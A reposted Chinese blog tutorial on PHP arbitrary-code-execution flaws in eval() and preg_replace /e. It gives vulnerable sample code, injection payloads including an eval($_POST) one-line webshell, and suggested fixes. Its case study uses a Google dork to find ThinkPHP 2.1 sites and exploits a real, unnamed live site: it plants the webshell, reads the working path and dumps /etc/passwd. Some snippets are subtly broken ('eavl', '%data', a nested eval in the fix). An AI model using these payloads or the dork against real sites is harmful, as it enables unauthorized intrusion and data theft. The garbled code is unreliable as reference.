phpinfo函数无法执行_【精品转载】“任意代码执行漏洞”实例测试

本文介绍了PHP中的任意代码执行漏洞,包括其概念、存在的原因、常见函数、漏洞利用方式、修复方案以及实例测试。重点讲解了eval()和preg_replace()函数的危险用法,并提供了测试和防护建议。
摘要由CSDN通过智能技术生成

0x00 什么是任意代码执行

  • 当应用在调用一些能将字符串转化成代码的函数(如PHP重的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。狭义的代码注入通常指将可执行代码注入到当前页面中,如PHP的eval函数,可以将字符串代表的代码作为PHP代码执行,当用户能够控制这段字符串时,将产生代码注入漏洞(也称命令执行)。广义上的代码注入,可以覆盖大半安全漏洞的分类。

0x01 为什么存在任意代码执行

  • 几种常用函数语言,都有将字符串转化成代码去执行的相关函数。

  • PHP ===> eval( ),assert( )

  • Python ===> exec( )

  • Asp ===>

0x02 为什么使用执行代码函数

  • 应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。

function string2array(%data){    if($data == '')        return array();    @eavl("\$array = $data");    return $array;}//当 $data 接受的字符串是这样时:$data = "array(    'upload_maxsize' => '2048',    'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',    'watermark_enable' ==> '1',    )"//通过eval()函数就可以将字符串‘array(....)’作为数组赋值给$array,这样会大大的提升代码的灵活性和简洁性。

0x03 漏洞分类

  • eval()、assert()  (不常见)

  • preg_replace + /e 模式

0x04 漏洞利用(本地测试)

  • eval() ==>

#1:<?php $data = $_GET['data'];eval("\$ret = $data;");echo $ret;/*    payload:        ?data=phpinfo()        ?data=1;phpinfo()        ?data=${phpinfo()}        ?data=${@eval($_POST[x])}  #一句话木马,可以用菜刀连接*/ ?> #2:<?php $data = $_GET['data'];echo "\$ret= '$data'";eval("\$ret = strtolower('$data');");echo $ret;/*    payload:        ?data=');phpinfo();//        ?data=');@eval($_POST[a]);//*/ ?> #3:<?php $data = $_GET['data'];eval("\$ret = strtolower(\"$data\");");echo $ret;/*    payload        ?data={${phpinfo()}}        ?data=1");phpinfo();//        ?data=${@eval($_POST[x])}*/ ?>

  • preg_replace() ==>

<?php $data = $_GET['data'];echo $data;preg_replace('/(.*)/e', '$ret = "\\1";',$data);echo $ret;/*    payload:        ?data=${phpinfo()}    注:PHP 5.5.0 /e 修饰符已经被弃用*/ ?>

0x05 修复方案

  • eval() ==>

  • 能使用json保存数组、对象就是用json,不要将PHP对象保存成字符串,否则读取的时候就需要使用eval

  • 对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则严格判断输入的数据格式)。

  • 对于字符串,一定要使用单引号包裹可控代码,并在插入前进行addslashes

  • $data = addslashes($data)

  • eval("\$data = eval('$data');")

  • preg_replace() ==>

  • 放弃使用preg_replace的/e修饰符

  • 使用preg_replace_callback()替换

  • 如果必须使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹

0x06 实例测试

  • 前面说了一大堆理论,现在来找个实例实际测试下。(本来想把网址公开的想想还是算了,这个漏洞的破坏性还是挺大的,就不公开了,我也怕“从web安全到派出所”......)

  • 尽管不会公开网址,但是还会告诉大家怎么去找这种存在 任意代码执行 的网站

  • ok,下面开始一步一步去实现漏洞的利用

  • 任意代码执行漏洞的存在环境:thinkphp 版本:2.1

  • google hacking 也就是谷歌搜索啊: 

intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"

  • 目标站点url:http://www.xxxxxx.com/xxxx/id/43.html

为什么thinkphp这个版本存在 任意代码执行 漏洞,出现漏洞的代码是什么我在这就不提了,大家有兴趣的可自行百度。

  • 测试目标url:按照上面说的我们先来测试看看时候存在任意代码执行

65e560b879ab73edc6f698f5bb4606ca.png

  • biubiubiu.....存在代码执行漏洞

  • 直接上一句话吧.....

  • id/{${@eval($_POST[x])}}.html

07d9e719d8430c74d75d4b526d22c219.png

  • 返回当前路径:id/{${exit(print(getcwd()))}}.html

解释下这句:getcwd() 返回当前工作路径            print()  打印一下            exit()   停止加载,网站停止渲染只会显示当前工作路径

  • 读取文件:

  • id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html

  • f=/etc/passwd

a2d7dd1aad45ed063b7829256fcbd124.png

  • ok,现在利用完毕

  • 本文有什么不对的地方,欢迎大家指正

  • 欢迎大家交流学习

  • 希望大家只用来做测试,不要搞破坏

文章转载:bbs.ichunqiu.com


8cec26b91838ee38e110ecbc953aa633.gif

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值